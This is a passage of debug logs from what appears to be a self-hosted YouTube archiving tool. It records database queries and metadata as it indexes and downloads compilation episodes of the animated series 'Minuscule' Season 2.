NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89022] 22:11:07.873 [info] Kicking off download for media item #89022 (nu-0hFsz_PM) 22:11:07.876 [debug] Current batch of media processed. Will check again in 1000ms 22:11:08.877 [debug] Current batch of media processed. Will check again in 1000ms 22:11:09.878 [debug] Current batch of media processed. Will check again in 1000ms 22:11:10.879 [debug] Current batch of media processed. Will check again in 1000ms 22:11:11.880 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Homeless | S02E02\n00:03:47 | The Annoying Neighbor | S02E28\n00:07:23 | The Housing Plant Project | S02E26\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Caterpillar #Refuge #Insects #Homeless #caterpillar #noisy #neighbor #apple #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 698, "filename" => "/downloads/Miniscule Season 2/2025-04-22 Homeless | Minuscule 🍃 15' Compilation/Homeless | Minuscule 🍃 15' Compilation [6QpMZlFOxwk].mp4", "id" => "6QpMZlFOxwk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=6QpMZlFOxwk", "playlist_index" => 62, "timestamp" => 1745301652, "title" => "Homeless | Minuscule 🍃 15' Compilation", "upload_date" => "20250422"} 22:11:11.881 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=823.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:11:11.882 [debug] QUERY OK source="sources" db=0.3ms idle=710.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:11:11.883 [debug] QUERY OK source="media_items" db=0.9ms idle=711.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-22 06:00:52Z], 5] 22:11:11.886 [debug] QUERY OK source="media_items" db=2.1ms idle=712.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Homeless | S02E02\n00:03:47 | The Annoying Neighbor | S02E28\n00:07:23 | The Housing Plant Project | S02E26\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Caterpillar #Refuge #Insects #Homeless #caterpillar #noisy #neighbor #apple #Minuscule #nature #insects #ladybugs #animatedseries", "Homeless | Minuscule 🍃 15' Compilation", "595a77f2-d9af-4f2d-aa24-a6ac39a57654", "6QpMZlFOxwk", 698, false, 5, "https://www.youtube.com/watch?v=6QpMZlFOxwk", 62, "/downloads/Miniscule Season 2/2025-04-22 Homeless | Minuscule 🍃 15' Compilation/Homeless | Minuscule 🍃 15' Compilation [6QpMZlFOxwk].mp4", false, false, false, [], 1, ~U[2025-04-22 06:00:52Z], ~U[2025-12-12 05:11:11Z], ~U[2025-12-12 05:11:11Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Homeless | S02E02\n00:03:47 | The Annoying Neighbor | S02E28\n00:07:23 | The Housing Plant Project | S02E26\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Caterpillar #Refuge #Insects #Homeless #caterpillar #noisy #neighbor #apple #Minuscule #nature #insects #ladybugs #animatedseries", "Homeless | Minuscule 🍃 15' Compilation", "6QpMZlFOxwk", 698, false, 5, "https://www.youtube.com/watch?v=6QpMZlFOxwk", "/downloads/Miniscule Season 2/2025-04-22 Homeless | Minuscule 🍃 15' Compilation/Homeless | Minuscule 🍃 15' Compilation [6QpMZlFOxwk].mp4", false, ~U[2025-04-22 06:00:52Z]] 22:11:11.887 [debug] QUERY OK source="sources" db=0.4ms idle=715.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:11:11.888 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:11:11.889 [debug] QUERY OK source="media_items" db=0.5ms idle=6.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89024] 22:11:11.889 [debug] Current batch of media processed. Will check again in 1000ms 22:11:12.890 [debug] Current batch of media processed. Will check again in 1000ms 22:11:13.891 [debug] Current batch of media processed. Will check again in 1000ms 22:11:14.892 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Labyrinth | S02E69\n00:03:45 | Refrigerated | S02E65\n00:07:20 | Spider from the Depths | S02E31\n00:10:54 | Ladybugland | S02E62\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Labyrinth #spider #fly #exit #Refrigerated #ice #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 900, "filename" => "/downloads/Miniscule Season 2/2025-04-12 Labyrinth | Minuscule 🍃🕷️ 20' Compilation/Labyrinth | Minuscule 🍃🕷️ 20' Compilation [lKFrUfigr-k].mp4", "id" => "lKFrUfigr-k", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=lKFrUfigr-k", "playlist_index" => 63, "timestamp" => 1744480860, "title" => "Labyrinth | Minuscule 🍃🕷️ 20' Compilation", "upload_date" => "20250412"} 22:11:14.893 [debug] QUERY OK source="sources" db=0.5ms idle=1721.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:11:14.894 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1722.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:11:14.895 [debug] QUERY OK source="media_items" db=1.0ms idle=1723.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-12 18:01:00Z], 5] 22:11:14.898 [debug] QUERY OK source="media_items" db=2.1ms idle=1725.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Labyrinth | S02E69\n00:03:45 | Refrigerated | S02E65\n00:07:20 | Spider from the Depths | S02E31\n00:10:54 | Ladybugland | S02E62\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Labyrinth #spider #fly #exit #Refrigerated #ice #Minuscule #nature #insects #ladybugs #animatedseries", "Labyrinth | Minuscule 🍃🕷️ 20' Compilation", "3f81fc0b-29ed-4ad1-a95a-f2255034c978", "lKFrUfigr-k", 900, false, 5, "https://www.youtube.com/watch?v=lKFrUfigr-k", 63, "/downloads/Miniscule Season 2/2025-04-12 Labyrinth | Minuscule 🍃🕷️ 20' Compilation/Labyrinth | Minuscule 🍃🕷️ 20' Compilation [lKFrUfigr-k].mp4", false, false, false, [], 1, ~U[2025-04-12 18:01:00Z], ~U[2025-12-12 05:11:14Z], ~U[2025-12-12 05:11:14Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Labyrinth | S02E69\n00:03:45 | Refrigerated | S02E65\n00:07:20 | Spider from the Depths | S02E31\n00:10:54 | Ladybugland | S02E62\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Labyrinth #spider #fly #exit #Refrigerated #ice #Minuscule #nature #insects #ladybugs #animatedseries", "Labyrinth | Minuscule 🍃🕷️ 20' Compilation", "lKFrUfigr-k", 900, false, 5, "https://www.youtube.com/watch?v=lKFrUfigr-k", "/downloads/Miniscule Season 2/2025-04-12 Labyrinth | Minuscule 🍃🕷️ 20' Compilation/Labyrinth | Minuscule 🍃🕷️ 20' Compilation [lKFrUfigr-k].mp4", false, ~U[2025-04-12 18:01:00Z]] 22:11:14.899 [debug] QUERY OK source="sources" db=0.5ms idle=835.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:11:14.900 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:11:14.901 [debug] QUERY OK source="media_items" db=0.4ms idle=6.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89026] 22:11:14.901 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #DRbrM5mSioQ/youtube video #DRbrM5mSioQ [DRbrM5mSioQ].NA", "id" => "DRbrM5mSioQ", "original_url" => "https://www.youtube.com/watch?v=DRbrM5mSioQ", "playlist_index" => 64, "title" => "youtube video #DRbrM5mSioQ"} 22:11:14.902 [debug] QUERY OK source="sources" db=0.3ms idle=5.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:11:14.902 [debug] Current batch of media processed. Will check again in 1000ms 22:11:15.903 [debug] Current batch of media processed. Will check again in 1000ms 22:11:16.904 [debug] Current batch of media processed. Will check again in 1000ms 22:11:17.905 [debug] Current batch of media processed. Will check again in 1000ms 22:11:18.833 [info] {"source":"oban","duration":1575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:18.906 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Acrobatics | S02E16\n00:03:45 | A Pathetic She'Nut'Igan | S02E12\n00:07:31 | Trapped | S02E64\n00:11:13 | Microzilla | S02E07\n00:14:59 | An Acorn Season | S02E05\n00:18:44 | The Chocolate Chase! | S02E19\n00:22:30 | Turbo speed | S02E58\n00:25:54 | Bzzaping | S02E03\n00:29:41 | Away all boarders! | S02E41\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Acrobatics #Wasps #Ladybird #Competition #Pathetic #Spider #Invent #Strategies #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 2043, "filename" => "/downloads/Miniscule Season 2/2025-04-10 Acrobatics | Minuscule 🍃 45' Compilation/Acrobatics | Minuscule 🍃 45' Compilation [x9RfjS6rVoE].mp4", "id" => "x9RfjS6rVoE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=x9RfjS6rVoE", "playlist_index" => 65, "timestamp" => 1744279290, "title" => "Acrobatics | Minuscule 🍃 45' Compilation", "upload_date" => "20250410"} 22:11:18.907 [debug] QUERY OK source="sources" db=0.4ms idle=735.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:11:18.908 [debug] QUERY OK source="sources" db=0.3ms idle=736.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:11:18.909 [debug] QUERY OK source="media_items" db=0.9ms idle=737.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-10 10:01:30Z], 5] 22:11:18.924 [debug] QUERY OK source="media_items" db=14.0ms idle=738.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Acrobatics | S02E16\n00:03:45 | A Pathetic She'Nut'Igan | S02E12\n00:07:31 | Trapped | S02E64\n00:11:13 | Microzilla | S02E07\n00:14:59 | An Acorn Season | S02E05\n00:18:44 | The Chocolate Chase! | S02E19\n00:22:30 | Turbo speed | S02E58\n00:25:54 | Bzzaping | S02E03\n00:29:41 | Away all boarders! | S02E41\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Acrobatics #Wasps #Ladybird #Competition #Pathetic #Spider #Invent #Strategies #Minuscule #nature #insects #ladybugs #animatedseries", "Acrobatics | Minuscule 🍃 45' Compilation", "5b71f11e-d101-4565-b79c-2e4256272885", "x9RfjS6rVoE", 2043, false, 5, "https://www.youtube.com/watch?v=x9RfjS6rVoE", 65, "/downloads/Miniscule Season 2/2025-04-10 Acrobatics | Minuscule 🍃 45' Compilation/Acrobatics | Minuscule 🍃 45' Compilation [x9RfjS6rVoE].mp4", false, false, false, [], 1, ~U[2025-04-10 10:01:30Z], ~U[2025-12-12 05:11:18Z], ~U[2025-12-12 05:11:18Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Acrobatics | S02E16\n00:03:45 | A Pathetic She'Nut'Igan | S02E12\n00:07:31 | Trapped | S02E64\n00:11:13 | Microzilla | S02E07\n00:14:59 | An Acorn Season | S02E05\n00:18:44 | The Chocolate Chase! | S02E19\n00:22:30 | Turbo speed | S02E58\n00:25:54 | Bzzaping | S02E03\n00:29:41 | Away all boarders! | S02E41\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Acrobatics #Wasps #Ladybird #Competition #Pathetic #Spider #Invent #Strategies #Minuscule #nature #insects #ladybugs #animatedseries", "Acrobatics | Minuscule 🍃 45' Compilation", "x9RfjS6rVoE", 2043, false, 5, "https://www.youtube.com/watch?v=x9RfjS6rVoE", "/downloads/Miniscule Season 2/2025-04-10 Acrobatics | Minuscule 🍃 45' Compilation/Acrobatics | Minuscule 🍃 45' Compilation [x9RfjS6rVoE].mp4", false, ~U[2025-04-10 10:01:30Z]] 22:11:18.925 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=90.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:11:18.926 [debug] QUERY OK source="media_profiles" db=0.3ms idle=18.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:11:18.926 [debug] QUERY OK source="media_items" db=0.4ms idle=18.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE 